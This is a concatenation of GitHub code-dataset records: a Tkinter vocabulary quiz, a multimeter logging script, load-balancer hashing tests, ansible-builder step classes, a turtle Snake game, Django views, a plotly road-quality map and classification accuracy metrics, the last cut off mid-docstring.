label_result.config(text=\"正解！\", fg=\"green\")\n else:\n label_result.config(text=\"不正解！\", fg=\"red\")\n \n start_quiz()\n\n# ウィンドウの作成\nwindow = tk.Tk()\nwindow.title(\"英単語クイズ\")\nwindow.geometry(\"400x200\") # 幅400ピクセル、高さ200ピクセル\n\n# 単語リストの読み込み\nwordlist = load_wordlist()\nrandom.shuffle(wordlist) # 単語リストをシャッフル\n\n# クイズの問題文表示ラベル\nlabel_question = tk.Label(window, text=\"クイズを始めるには「スタート」を押してください\")\nlabel_question.pack()\n\n# 解答入力フィールド\nentry_answer = tk.Entry(window)\nentry_answer.pack()\n\n# 解答チェック結果表示ラベル\nlabel_result = tk.Label(window, text=\"\")\nlabel_result.pack()\n\n# スタートボタン\nbutton_start = tk.Button(window, text=\"スタート\", command=start_quiz)\nbutton_start.pack()\n\n# 解答チェックボタン\nbutton_check = tk.Button(window, text=\"解答チェック\", command=check_answer)\nbutton_check.pack()\n\n# ウィンドウの表示\nwindow.mainloop()\n","repo_name":"TMiyazaki-brain/practice_python","sub_path":"Main/Quiz.py","file_name":"Quiz.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37594227379","text":"#!/usr/bin/python3\n\nimport csv\nimport datetime\nimport ivi\nimport time\nimport os\n\nOUTPUT_FILE = 'ks3458a-k2000-x2-sr104-log.csv'\nFIELDNAMES = ('datetime', 'ag3458a_2_ohm', 'ag3458a_2_range', 'ag3458a_2_delay', 'temp_2', 'last_acal_2',\n 'last_acal_2_cal72', 'k2000_temp_ohm', 'k2000_20_pt100_ohm')\nWRITE_INTERVAL_SECONDS = 900\nDEBUG = False\nSAMPLE_INTERVAL = 0\n\nif DEBUG:\n WRITE_INTERVAL_SECONDS = 0\n\ndef acal_3458a(ag3458a, temp):\n ag3458a.acal.start_dcv()\n ag3458a.acal.start_ohms()\n\n\ndef ag3458a_setup(ag3458a):\n ag3458a.measurement_function = 'four_wire_resistance'\n ag3458a.advanced.offset_compensation = 'on'\n if DEBUG:\n ag3458a.advanced.offset_compensation = 'off'\n ag3458a.advanced.aperture_time = 1\n ag3458a.auto_range = 'off'\n # 100k\n # ag3458a_2.range = 100e3\n # 10k\n ag3458a.range = 10e3\n\ndef init_func():\n k2000 = ivi.keithley.keithley2000(\"TCPIP::gpib1::gpib,16::INSTR\",\n id_query=True)\n k2000._interface.timeout = 120\n if not DEBUG:\n k2000._write(':DISPLAY:ENABLE OFF')\n k2000.measurement_function = 'four_wire_resistance'\n k2000.range = 10e3\n k2000._write(':FRES:NPLC 10')\n k2000_20 = ivi.keithley.keithley2000(\"TCPIP::gpib1::gpib,17::INSTR\",\n id_query=True)\n k2000_20._interface.timeout = 120\n if not DEBUG:\n k2000_20._write(':DISPLAY:ENABLE OFF')\n k2000_20.measurement_function = 'four_wire_resistance'\n k2000_20.range = 10e3\n k2000_20._write(':FRES:NPLC 10')\n\n ag3458a_2 = ivi.agilent.agilent3458A(\"TCPIP::gpib1::gpib,20::INSTR\",\n reset=True)\n ag3458a_2._interface.timeout = 120\n ag3458a_setup(ag3458a_2)\n temp_2 = ag3458a_2.utility.temp\n ag3458a_2.last_temp = datetime.datetime.utcnow()\n if DEBUG:\n ag3458a_2.last_acal = datetime.datetime.utcnow()\n ag3458a_2.last_acal_temp = temp_2\n ag3458a_2.last_acal_cal72 = 'test'\n # finish_acal_3458a(ag3458a_2)\n else:\n ag3458a_2.last_acal = datetime.datetime.utcnow()\n ag3458a_2.last_acal_temp = temp_2\n # ag3458a_2.last_acal_cal72 = 'keep'\n acal_3458a(ag3458a_2, temp_2)\n return {'ag3458a_2': ag3458a_2, 'k2000': k2000, 'k2000_20': k2000_20}\n\n\ndef loop_func(csvw, ag3458a_2, k2000, k2000_20):\n row = {}\n # ACAL every 24h or 1°C change in internal temperature, per manual\n do_acal_3458a_2 = False\n temp_2 = None\n # Measure temperature every 15 minutes\n if ((datetime.datetime.utcnow() - ag3458a_2.last_temp).total_seconds()\n > 15 * 60):\n temp_2 = ag3458a_2.utility.temp\n ag3458a_2.last_temp = datetime.datetime.utcnow()\n if ((datetime.datetime.utcnow() - ag3458a_2.last_acal).total_seconds() > 24 * 3600) \\\n or (abs(ag3458a_2.last_acal_temp - temp_2) >= 1):\n do_acal_3458a_2 = True\n if do_acal_3458a_2:\n acal_3458a(ag3458a_2, temp_2)\n if temp_2 is not None:\n # if we measured temperature, then skip one conversion\n res = ag3458a_2.measurement.read(360)\n if res is None:\n print('extra temp measurement failed')\n time.sleep(10)\n row['datetime'] = datetime.datetime.utcnow().isoformat()\n ag3458a_2.measurement.initiate()\n # start_time = time.time()\n row['ag3458a_2_ohm'] = ag3458a_2.measurement.fetch(360)\n # print(f'Time to acquire sample: {(time.time() - start_time)} s')\n print(row['ag3458a_2_ohm'])\n if row['ag3458a_2_ohm'] is None:\n print('measurement failed')\n row['temp_2'] = temp_2\n row['last_acal_2'] = ag3458a_2.last_acal.isoformat()\n row['last_acal_2_cal72'] = ag3458a_2.last_acal_cal72\n row['ag3458a_2_range'] = ag3458a_2.range\n row['ag3458a_2_delay'] = ag3458a_2.trigger.delay\n row['k2000_temp_ohm'] = k2000.measurement.fetch(1)\n row['k2000_20_pt100_ohm'] = k2000_20.measurement.fetch(1)\n\n csvw.writerow(row)\n\n\nif __name__ == '__main__':\n inits = init_func()\n\n last_csvw_write = datetime.datetime(2018, 1, 1)\n with open(OUTPUT_FILE, 'a', newline='') as csv_file:\n initial_size = os.fstat(csv_file.fileno()).st_size\n csvw = csv.DictWriter(csv_file, fieldnames=FIELDNAMES)\n if initial_size == 0:\n csvw.writeheader()\n while True:\n loop_func(csvw, **inits)\n time.sleep(SAMPLE_INTERVAL)\n if (datetime.datetime.utcnow() - last_csvw_write) \\\n > datetime.timedelta(seconds=WRITE_INTERVAL_SECONDS):\n csv_file.flush()\n last_csvw_write = datetime.datetime.utcnow()\n","repo_name":"alson/dmm-logging","sub_path":"ks3458a-k2000-x2-sr104-log.py","file_name":"ks3458a-k2000-x2-sr104-log.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29041063107","text":"# -*- coding: utf-8 -*-\nimport math\nimport md5\nimport pytest\n\nimport balancer.test.plugin.context as mod_ctx\n\nfrom configs import ConsisitentHashingConfig\n\nfrom balancer.test.util.predef.handler.server.http import SimpleConfig\nfrom balancer.test.util.process import BalancerStartError\nfrom balancer.test.util.predef import http\n\n\nclass ConsistentHashingCtx(object):\n def start_backends(self):\n self.start_backend(SimpleConfig(), name='backend1')\n self.start_backend(SimpleConfig(), name='backend2')\n self.start_backend(SimpleConfig(), name='backend3')\n\n def start_balancer_and_backends(self, **balancer_kwargs):\n self.start_backends()\n return self.start_balancer(ConsisitentHashingConfig(\n self.backend1.server_config.port,\n self.backend2.server_config.port,\n self.backend3.server_config.port,\n **balancer_kwargs))\n\n def assert_balancer_wont_start(self, **balancer_kwargs):\n with pytest.raises(BalancerStartError):\n self.start_balancer(ConsisitentHashingConfig(\n 42, 43, 44, # fake backend ports\n **balancer_kwargs))\n\n\nch_ctx = mod_ctx.create_fixture(ConsistentHashingCtx)\n\n\ndef test_invalid_vnode_count(ch_ctx):\n \"\"\"\n Проверяем, что балансер не запускается с невалидным значением virtual_nodes\n \"\"\"\n ch_ctx.assert_balancer_wont_start(virtual_nodes=0)\n\n\n@pytest.mark.parametrize('weight', [-1, 0, 0.5, 0xFFFFFFFF])\ndef test_invalid_weight(ch_ctx, weight):\n \"\"\"\n Проверяем, что балансер не запускается с невалидным значением weight\n \"\"\"\n ch_ctx.assert_balancer_wont_start(weight=weight)\n\n\ndef test_empty_balancer(ch_ctx):\n \"\"\"\n Проверяем, что балансер не запускается с пустым списком бэкендов\n \"\"\"\n ch_ctx.assert_balancer_wont_start(empty_balancer=True)\n\n\ndef send_requests(connetion, request_count):\n for i in range(0, request_count):\n m = md5.new(str(i))\n id = m.hexdigest()\n request = http.request.get(path='/i?id=%sn=21' % id)\n connetion.perform_request(request)\n\n\ndef get_request_distribution(ch_ctx, vnode_count, request_count):\n balancer = ch_ctx.start_balancer_and_backends(virtual_nodes=vnode_count)\n\n with ch_ctx.create_http_connection(balancer.config.port) as conn:\n send_requests(conn, request_count)\n\n size_list = [ch_ctx.backend1.state.requests.qsize(), ch_ctx.backend2.state.requests.qsize(), ch_ctx.backend3.state.requests.qsize()]\n\n assert request_count == sum(size_list)\n\n return size_list\n\n\ndef test_distribution(ch_ctx):\n \"\"\"\n Проверяем, что множество запросов равноме��но распределяется по бэкендам\n \"\"\"\n request_count = 100\n vnode_count = 1000\n\n size_list = get_request_distribution(ch_ctx, vnode_count, request_count)\n\n backend_count = 3\n\n median = request_count/backend_count\n\n \"\"\"\n Проверяем что разброс не более 20% (т.к. запросов не очень много)\n \"\"\"\n for size in size_list:\n assert math.fabs(median - size)/median <= 0.2\n\n\ndef test_vnodes(ch_ctx):\n \"\"\"\n Проверяем, что при изменении количества виртуальных нод меняется распределение по бэкендам\n \"\"\"\n request_count = 50\n vnode_count1 = 1000\n vnode_count2 = 2000\n\n size_list1 = get_request_distribution(ch_ctx, vnode_count1, request_count)\n size_list2 = get_request_distribution(ch_ctx, vnode_count2, request_count)\n\n assert size_list1 != size_list2\n\n\ndef assert_req_num_in_one_backend(backends, req_num):\n found = False\n for backend in backends:\n if found:\n assert backend.state.requests.empty()\n elif not backend.state.requests.empty():\n found = True\n assert backend.state.requests.qsize() == req_num\n for _ in range(req_num):\n backend.state.get_request()\n\n\ndef test_stability(ch_ctx):\n \"\"\"\n Проверяем, что одинаковые запросы раскидываются по одним и тем же бэкендам\n \"\"\"\n balancer = ch_ctx.start_balancer_and_backends()\n\n with ch_ctx.create_http_connection(balancer.config.port) as conn:\n request1 = http.request.get(path='/i?id=7de5b0222a5e64fa2519b362a0d1288b&n=21')\n request2 = http.request.get(path='/i?id=82f3d9dfbad59b54596e36e335601286&n=21')\n\n conn.perform_request(request1)\n conn.perform_request(request1)\n\n all_backends = (ch_ctx.backend1, ch_ctx.backend2, ch_ctx.backend3)\n assert_req_num_in_one_backend(all_backends, 2)\n\n conn.perform_request(request2)\n conn.perform_request(request2)\n\n assert_req_num_in_one_backend(all_backends, 2)\n\n\ndef test_rebalance(ch_ctx):\n \"\"\"\n Проверяем, что если бэкенд не отвечает, то идём в следующий\n \"\"\"\n balancer = ch_ctx.start_balancer_and_backends()\n ch_ctx.backend3.stop()\n\n request_count = 10\n\n with ch_ctx.create_http_connection(balancer.config.port) as conn:\n send_requests(conn, request_count)\n assert ch_ctx.backend1.state.requests.qsize() + ch_ctx.backend2.state.requests.qsize() == request_count\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"balancer/test/functional/consistent_hashing/test_consistent_hashing.py","file_name":"test_consistent_hashing.py","file_ext":"py","file_size_in_byte":5478,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38724153808","text":"import sys\n\nfrom . import constants\nfrom .exceptions import DefinitionError\n\n\nclass Steps:\n def __iter__(self):\n return iter(self.steps)\n\n\nclass AdditionalBuildSteps(Steps):\n def __init__(self, additional_steps):\n \"\"\"Allows for additional prepended / appended build steps to be\n in the Containerfile or Dockerfile.\n \"\"\"\n self.steps = []\n if isinstance(additional_steps, str):\n lines = additional_steps.strip().splitlines()\n elif isinstance(additional_steps, list):\n lines = additional_steps\n else:\n raise DefinitionError(\n \"\"\"\n Error: Unknown type found for additional_build_steps; must be list or multi-line string.\n \"\"\"\n )\n sys.exit(1)\n self.steps.extend(lines)\n\n def __iter__(self):\n return iter(self.steps)\n\n\nclass GalaxyInstallSteps(Steps):\n def __init__(self, requirements_naming):\n \"\"\"Assumes given requirements file name has been placed in the build context\n \"\"\"\n self.steps = []\n self.steps.append(\n \"ADD {0} /build/{0}\".format(requirements_naming)\n )\n self.steps.extend([\n \"\",\n \"RUN ansible-galaxy role install -r /build/{0} --roles-path {1}\".format(\n requirements_naming, constants.base_roles_path),\n \"RUN ansible-galaxy collection install -r /build/{0} --collections-path {1}\".format(\n requirements_naming, constants.base_collections_path),\n \"\",\n \"RUN mkdir -p {0} {1}\".format(constants.base_roles_path, constants.base_collections_path),\n ])\n\n\nclass GalaxyCopySteps(Steps):\n def __init__(self):\n \"\"\"Assumes given requirements file name has been placed in the build context\n \"\"\"\n self.steps = []\n self.steps.extend([\n \"\",\n \"COPY --from=galaxy {0} {0}\".format(constants.base_roles_path),\n \"COPY --from=galaxy {0} {0}\".format(constants.base_collections_path),\n \"\",\n ])\n\n\nclass AnsibleConfigSteps(Steps):\n def __init__(self, context_file):\n \"\"\"Copies a user's ansible.cfg file for accessing Galaxy server\"\"\"\n self.steps = []\n self.steps.extend([\n f\"ADD {context_file} ~/.ansible.cfg\",\n \"\",\n ])\n","repo_name":"swipswaps/ansible-builder","sub_path":"ansible_builder/steps.py","file_name":"steps.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"12234930338","text":"## ---- PACKAGES ---- ##\nimport turtle\nimport time\nimport random\n\n## ---- VARIABLES ---- ##\ndelay = 0.2\nall_body_parts = []\nscore = 0\nhigh_score = 0\n\n## ---- DISPLY ---- ##\n\n# set up the screen\nwin = turtle.Screen()\nwin.title(\"Snake Game by Phil Drysdale\")\nwin.bgcolor(\"black\")\nwin.setup(width=600, height=600)\nwin.tracer(0) # turn off screen updates for efficiency\n\n# Scoring\nscoreboard = turtle.Turtle()\nscoreboard.speed(0)\nscoreboard.shape(\"square\")\nscoreboard.color(\"white\")\nscoreboard.penup()\nscoreboard.hideturtle()\nscoreboard.goto(0,260)\nscoreboard.write(\"Score: {} | High Score: {}\".format(score, high_score), align=\"center\", font=(\"Courier\", 20, \"normal\"))\n\n\n## ---- OBJECTS ---- ##\n\n# Food\nfood = turtle.Turtle()\nfood.speed(0)\nfood.shape(\"circle\")\nfood.color(\"green\")\nfood.penup()\nfood.goto(100,100)\n\n# Snake head\nhead = turtle.Turtle()\nhead.speed(0)\nhead.shape(\"square\")\nhead.color(\"blue\")\nhead.penup()\nhead.goto(0,0)\nhead.direction = \"stop\"\n\n## ---- FUNCTIONS ---- ##\n\n# move head\ndef move_head():\n # set coords\n y = head.ycor()\n x = head.xcor()\n if head.direction == \"up\":\n head.sety(y + 20)\n if head.direction == \"down\":\n head.sety(y - 20)\n if head.direction == \"left\":\n head.setx(x - 20)\n if head.direction == \"right\":\n head.setx(x + 20)\n\ndef go_up():\n if head.direction != \"down\":\n head.direction = \"up\"\ndef go_down():\n if head.direction != \"up\":\n head.direction = \"down\"\ndef go_left():\n if head.direction != \"right\":\n head.direction = \"left\"\ndef go_right():\n if head.direction != \"left\":\n head.direction = \"right\" \n\n## Create body_part\ndef create_body_part():\n body_part = turtle.Turtle()\n body_part.speed(0)\n body_part.shape(\"square\")\n body_part.color(\"white\")\n body_part.penup()\n all_body_parts.append(body_part)\n \n## food eaten function\ndef food_eaten():\n global score, high_score\n if head.distance(food) < 20:\n global delay\n # Move the food to random location\n x = random.randint(-290,290)\n y = random.randint(-290,290)\n food.goto(x,y)\n if delay > 0.03:\n delay -= 0.01\n # increase score\n score += 1\n if score > high_score:\n high_score = score\n update_score()\n # grow body\n create_body_part()\n\n## build body when food eaten\ndef build_body():\n # Move the body parts (in reverse order)\n for index in range(len(all_body_parts)-1, 0, -1):\n x = all_body_parts[index-1].xcor()\n y = all_body_parts[index-1].ycor()\n all_body_parts[index].goto(x,y)\n # Move first body part to where the head is\n if len(all_body_parts) > 0:\n x = head.xcor()\n y = head.ycor()\n all_body_parts[0].goto(x,y)\n\n## check for collision with border and body\ndef collision_check():\n global all_body_parts\n # check for border collisions\n if head.xcor() > 290 or head.xcor() < -295 or head.ycor() > 295 or head.ycor() < -290:\n reset()\n\n # check for collisons with self\n for body_part in all_body_parts:\n if body_part.distance(head) < 20:\n reset()\n\ndef update_score():\n scoreboard.clear()\n scoreboard.write(\"Score: {} | High Score: {}\".format(score, high_score), align=\"center\", font=(\"Courier\", 20, \"normal\"))\n\ndef reset():\n # reset head\n global score, delay\n time.sleep(1)\n head.goto(0,0)\n head.direction = \"stop\"\n \n # hide body_parts\n for body_part in all_body_parts:\n body_part.goto(1000,1000)\n\n # clear segments list\n all_body_parts.clear()\n\n # reset score\n score = 0\n update_score()\n\n # reset speed\n delay = 0.2\n\n\n\n## ---- INPUT ---- ##\n\n# Keyboard bindings\nwin.listen()\nwin.onkeypress(go_up, \"w\")\nwin.onkeypress(go_down, \"s\")\nwin.onkeypress(go_left, \"a\")\nwin.onkeypress(go_right, \"d\")\n\n\n## ---- GAME ---- ##\n\n# main game loop\nwhile True:\n win.update()\n\n food_eaten()\n\n build_body()\n\n move_head()\n\n collision_check()\n \n time.sleep(delay)\n\nwin.mainloop()","repo_name":"phildrysdale1/snake_game","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":4034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31968910142","text":"from django.shortcuts import render, redirect\nfrom django.template.loader import render_to_string\nfrom django.urls import reverse\nfrom django.contrib import messages\nfrom django.conf import settings\nfrom django.http import HttpResponse, JsonResponse, Http404\nfrom django.contrib.auth.decorators import login_required\nfrom accounts.models import *\nfrom .models import *\nfrom .serializers import *\nfrom rest_framework import generics\n\nclass MomentListAPI(generics.ListAPIView):\n \"\"\" \n API endpoint for fetching all user feeds\n \"\"\"\n queryset = Moment.objects.order_by('-id')\n serializer_class = MomentSerializer\n\nclass MomentView():\n @login_required\n def get(request):\n moments_obj = Moment.objects.all()\n context = {\n 'page_title': \"Moments\",\n 'user_profile': request.user,\n 'moments': moments_obj,\n }\n return render(request, 'moments/content.html', context)\n \n @login_required\n def post(request, switch):\n if request.method == 'POST':\n images = request.FILES.getlist('moment_image')\n text = request.POST['moment_text']\n obj = Moment.objects.create(user=request.user, text=text)\n obj.save()\n for img in images:\n MomentImages.objects.create(moment=obj, image=img)\n moment = obj\n data = {\n 'moment': moment,\n }\n if(switch == \"i\"):\n return render(request, 'moments/view/moment.html', data)\n return render(request, 'moments/moment.html', data)\n else:\n return JsonResponse({'scode': 403, 'message': 'Not Allowed'}, status=403)","repo_name":"Hackinubee/wesocify","sub_path":"moments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36917794599","text":"import plotly.express as px\nimport pandas as pd\nimport requests\nimport numpy as np\n\nmaps_api_token = \"pk.eyJ1IjoiZGVianlvdGljIiwiYSI6ImNsYmFpY3p6OTAwb3IzcW1vMmRkcW15aTMifQ.STVwLHWK7VjBcXA4hvdi6A\"\ncloud_api = \"C4EUQWKMRDFBT1ZX1S14PG\"\n\npod_url = f\"http://consentiuminc.online/feeds?receive_key={cloud_api}&all=false\"\ndata = requests.get(pod_url).json()['feeds'][0]\n\nsensor_data = data['sensor_data']\nsensor_info = data['sensor_info']\nupdated_at = data['updated_at']\n\nlatitude = np.array([i[0] for i in sensor_data])\nlongitude = np.array([i[1] for i in sensor_data])\nvelocity = np.array([i[2] for i in sensor_data])\nroad_quality = np.array([i[3] for i in sensor_data])\n\nlat = latitude[latitude != 0]\nlon = longitude[latitude != 0]\nvelo = velocity[latitude != 0]\nr_q = road_quality[latitude != 0]\n\n# print(\"Lat: \", latitude[latitude != 0])\n# print(\"Long: \", longitude[latitude != 0])\n# print(\"Velocity: \", velocity[latitude != 0])\n# print(\"Quality: \", road_quality[latitude != 0])\n\ngps_df = pd.DataFrame(list(zip(lat, lon, velo, r_q)),\n columns=['latitude', 'longitude', 'velocity', 'road_quality'])\n\nfig = px.scatter_mapbox(gps_df, lat=\"latitude\", lon=\"longitude\", color='velocity',\n color_continuous_scale=[\"black\", \"purple\", \"red\"], size_max=30, zoom=11.5,\n height=700, width=700, title='Road Quality')\n\nfig.update_layout(font_size=16, title={'xanchor': 'center', 'yanchor': 'top', 'y': 0.9, 'x': 0.5, },\n title_font_size=24, mapbox_accesstoken=maps_api_token,\n mapbox_style=\"mapbox://styles/strym/ckhd00st61aum19noz9h8y8kw\")\n\nfig.update_traces(marker=dict(size=6))\n\nfig.write_image('images/gps.png')\nfig.show()\n","repo_name":"debjyotiC/road_quality","sub_path":"ploting_maps.py","file_name":"ploting_maps.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31747052466","text":"def logic(my_input):\n # Write your code here and remove pass statement\n # Don't print anything. Just return the intended output\n # You can create other functions and call from here\n sCount = my_input.count('s')\n if not sCount:\n return \"Yes\"\n else:\n count = 0\n for i, char in enumerate(my_input):\n if char == 's':\n if my_input[i+1] == 's':\n count+=1\n if count>=2:\n \n return \"Yes\"\n else:\n return \"No\"\n \n# Do not edit below\n\n# Get the input\nmy_input = input()\n\n# Print output returned from the logic function\nprint(logic(my_input))\n","repo_name":"rohitjoey/myrandomcodes","sub_path":"pythons/leapfrog_test/one.py","file_name":"one.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10402623383","text":"\"\"\"Functions for computing accuracy scores for classification tasks.\"\"\"\n\nfrom typing import Literal, Optional, Union, cast\n\nimport numpy as np\nimport numpy.typing as npt\nfrom sklearn.metrics._classification import _prf_divide\n\nfrom cyclops.evaluate.metrics.functional.stat_scores import (\n _binary_stat_scores_args_check,\n _binary_stat_scores_format,\n _binary_stat_scores_update,\n _multiclass_stat_scores_format,\n _multiclass_stat_scores_update,\n _multilabel_stat_scores_format,\n _multilabel_stat_scores_update,\n)\nfrom cyclops.evaluate.metrics.utils import (\n _check_average_arg,\n _get_value_if_singleton_array,\n)\n\n\ndef _accuracy_reduce(\n tp: Union[npt.NDArray[np.int_], np.int_],\n fp: Union[npt.NDArray[np.int_], np.int_],\n tn: Union[npt.NDArray[np.int_], np.int_],\n fn: Union[npt.NDArray[np.int_], np.int_],\n task_type: Literal[\"binary\", \"multiclass\", \"multilabel\"],\n average: Literal[\"micro\", \"macro\", \"weighted\", None],\n zero_division: Literal[\"warn\", 0, 1] = \"warn\",\n) -> Union[float, npt.NDArray[np.float_]]:\n \"\"\"Compute accuracy score per class or sample and apply average.\n\n Parameters\n ----------\n tp : numpy.ndarray or int\n The number of true positives.\n fp : numpy.ndarray or int\n The number of false positives.\n tn : numpy.ndarray or int\n The number of true negatives.\n fn : numpy.ndarray or int\n The number of false negatives.\n task_type : Literal[\"binary\", \"multiclass\", \"multilabel\"]\n The type of task for the input data. One of 'binary', 'multiclass'\n or 'multilabel'.\n average : Literal[\"micro\", \"macro\", \"weighted\", None]\n The type of averaging to apply to the accuracy scores. One of\n 'micro', 'macro', 'weighted' or None.\n zero_division : Literal[\"warn\", 0, 1]\n Sets the value to return when there is a zero division. If set to \"warn\",\n this acts as 0, but warnings are also raised.\n\n Returns\n -------\n accuracy : numpy.ndarray or float\n The average accuracy score if 'average' is not None, otherwise the\n accuracy score per class.\n\n \"\"\"\n if average == \"micro\":\n tp = np.array(np.sum(tp))\n fn = np.array(np.sum(fn))\n numerator: Union[npt.NDArray[np.int_], np.int_] = tp\n denominator: Union[npt.NDArray[np.int_], np.int_] = tp + fn\n if task_type == \"multilabel\":\n fp = np.array(np.sum(fp))\n tn = np.array(np.sum(tn))\n numerator = tp + tn\n denominator = tp + fp + fn + tn\n elif task_type in [\"binary\", \"multilabel\"]:\n numerator = tp + tn\n denominator = tp + fp + fn + tn\n else:\n numerator = tp\n denominator = tp + fn\n\n score = _prf_divide(\n np.expand_dims(numerator, axis=0) if numerator.ndim == 0 else numerator,\n np.expand_dims(denominator, axis=0) if denominator.ndim == 0 else denominator,\n metric=\"accuracy\",\n modifier=\"true\",\n average=average,\n warn_for=(\"accuracy\",),\n zero_division=zero_division,\n )\n\n if average in [\"macro\", \"weighted\"]:\n weights = None\n if average == \"weighted\":\n weights = tp + fn\n\n if weights is not None and np.sum(weights) == 0:\n return (\n np.zeros_like(score, dtype=np.float64)\n if zero_division in [\"warn\", 0]\n else np.ones_like(score, dtype=np.float64)\n )\n\n avg_score: Union[float, npt.NDArray[np.float_]] = np.average(\n score,\n weights=weights,\n )\n return avg_score\n\n ret_value = _get_value_if_singleton_array(score)\n return cast(Union[float, npt.NDArray[np.float_]], ret_value)\n\n\ndef binary_accuracy(\n target: npt.ArrayLike,\n preds: npt.ArrayLike,\n pos_label: int = 1,\n threshold: float = 0.5,\n zero_division: Literal[\"warn\", 0, 1] = \"warn\",\n) -> float:\n \"\"\"Compute accuracy score for binary classification tasks.\n\n Parameters\n ----------\n target : npt.ArrayLike\n Ground truth (correct) target values.\n preds : npt.ArrayLike\n Estimated targets (predictions) as returned by a classifier.\n pos_label : int, default=1\n The label of the positive class. Can be 0 or 1.\n threshold : float, default=0.5\n The threshold value for converting probability or logit scores to\n binary. A sigmoid function is first applied to logits to convert them\n to probabilities.\n zero_division : Literal[\"warn\", 0, 1], default=\"warn\"\n Sets the value to return when there is a zero division. If set to ``warn``,\n this acts as 0, but warnings are also raised.\n\n Returns\n -------\n acc_score : float\n The accuracy score.\n\n Examples\n --------\n >>> from cyclops.evaluation.metrics.functional import binary_accuracy\n >>> target = [0, 1, 0, 1]\n >>> preds = [0, 1, 1, 1]\n >>> binary_accuracy(target, preds)\n 0.75\n >>> target = [0, 1, 0, 1]\n >>> preds = [0.1, 0.9, 0.8, 0.4]\n >>> binary_accuracy(target, preds, threshold=0.5)\n 0.5\n\n \"\"\"\n _binary_stat_scores_args_check(threshold=threshold, pos_label=pos_label)\n\n target, preds = _binary_stat_scores_format(\n target,\n preds,\n threshold=threshold,\n pos_label=pos_label,\n )\n\n tp, fp, tn, fn = _binary_stat_scores_update(target, preds, pos_label=pos_label)\n acc_score = _accuracy_reduce(\n tp,\n fp,\n tn,\n fn,\n task_type=\"binary\",\n average=None,\n zero_division=zero_division,\n )\n return cast(float, acc_score)\n\n\ndef multiclass_accuracy(\n target: npt.ArrayLike,\n preds: npt.ArrayLike,\n num_classes: int,\n top_k: Optional[int] = None,\n average: Literal[\"micro\", \"macro\", \"weighted\", None] = None,\n zero_division: Literal[\"warn\", 0, 1] = \"warn\",\n) -> Union[float, npt.NDArray[np.float_]]:\n \"\"\"Compute the accuracy score for multiclass classification problems.\n\n Parameters\n ----------\n target : npt.ArrayLike\n Ground truth (correct) target values.\n preds : npt.ArrayLike\n Estimated targets (predictions) as returned by a classifier.\n num_classes : int\n Number of classes in the dataset.\n top_k : int, default=None\n Number of highest probability predictions or logits to consider when\n computing the accuracy score.\n average : Literal[\"micro\", \"macro\", \"weighted\", None], default=None\n If not None, this determines the type of averaging performed on the data:\n\n - ``micro``: Calculate metrics globally by counting the total\n true positives, false negatives, false positives and true\n negatives.\n - ``macro``: Calculate metrics for each class, and find their\n unweighted mean. This does not take class imbalance into account.\n - ``weighted``: Calculate metrics for each class, and find their\n average, weighted by support (the number of true instances for\n each class). This alters ``macro`` to account for class imbalance.\n zero_division : Literal[\"warn\", 0, 1], default=\"warn\"\n Sets the value to return when there is a zero division. If set to ``warn``,\n this acts as 0, but warnings are also raised.\n\n Returns\n -------\n float or numpy.ndarray\n The average accuracy score as a float if ``average`` is not None,\n otherwise a numpy array of accuracy scores per class/label.\n\n Raises\n ------\n ValueError\n If ``average`` is not one of ``micro``, ``macro``, ``weighted`` or ``None``.\n\n Examples\n --------\n >>> from cyclops.evaluation.metrics.functional import multiclass_accuracy\n >>> target = [0, 1, 2, 2, 2]\n >>> preds = [0, 0, 2, 2, 1]\n >>> multiclass_accuracy(target, preds, num_classes=3)\n array([1. , 0. , 0.66666667])\n >>> multiclass_accuracy(target, preds, num_classes=3, average=\"micro\")\n 0.6\n >>> multiclass_accuracy(target, preds, num_classes=3, average=\"macro\")\n 0.5555555555555555\n >>> multiclass_accuracy(target, preds, num_classes=3, average=\"weighted\")\n 0.6\n\n \"\"\"\n _check_average_arg(average)\n\n target, preds = _multiclass_stat_scores_format(\n target,\n preds,\n num_classes=num_classes,\n top_k=top_k,\n )\n\n tp, fp, tn, fn = _multiclass_stat_scores_update(target, preds, num_classes)\n\n return cast(\n float,\n _accuracy_reduce(\n tp,\n fp,\n tn,\n fn,\n task_type=\"multiclass\",\n average=average,\n zero_division=zero_division,\n ),\n )\n\n\ndef multilabel_accuracy(\n target: npt.ArrayLike,\n preds: npt.ArrayLike,\n num_labels: int,\n threshold: float = 0.5,\n top_k: Optional[int] = None,\n average: Literal[\"micro\", \"macro\", \"weighted\", None] = None,\n zero_division: Literal[\"warn\", 0, 1] = \"warn\",\n) -> Union[float, npt.NDArray[np.float_]]:\n \"\"\"Compute the accuracy score for multilabel-indicator targets.\n\n Parameters\n ----------\n target : array-like of shape (num_samples, num_labels)\n Ground truth (correct) target values.\n preds : array-like of shape (num_samples, num_labels)\n Estimated targets as returned by a classifier.\n num_labels : int\n Number of labels in the multilabel classification task.\n threshold : float, default=0.5\n Threshold value for binarizing the output of the classifier.\n top_k : int, optional, default=None\n The number of highest probability or logit predictions considered\n to find the correct label. Only works when ``preds`` contains\n probabilities/logits.\n average : Literal['micro', 'macro', 'weighted', None], default=None\n If None, return the accuracy score per label, otherwise this determines\n the type of averaging performed on the data:\n\n - ``micro``: Calculate metrics globally by counting the total\n true positives, false negatives, true negatives and false positives.\n - ``macro``: Calculate metrics for each label, and find their unweighted\n mean. This does not take label imbalance into account.\n - 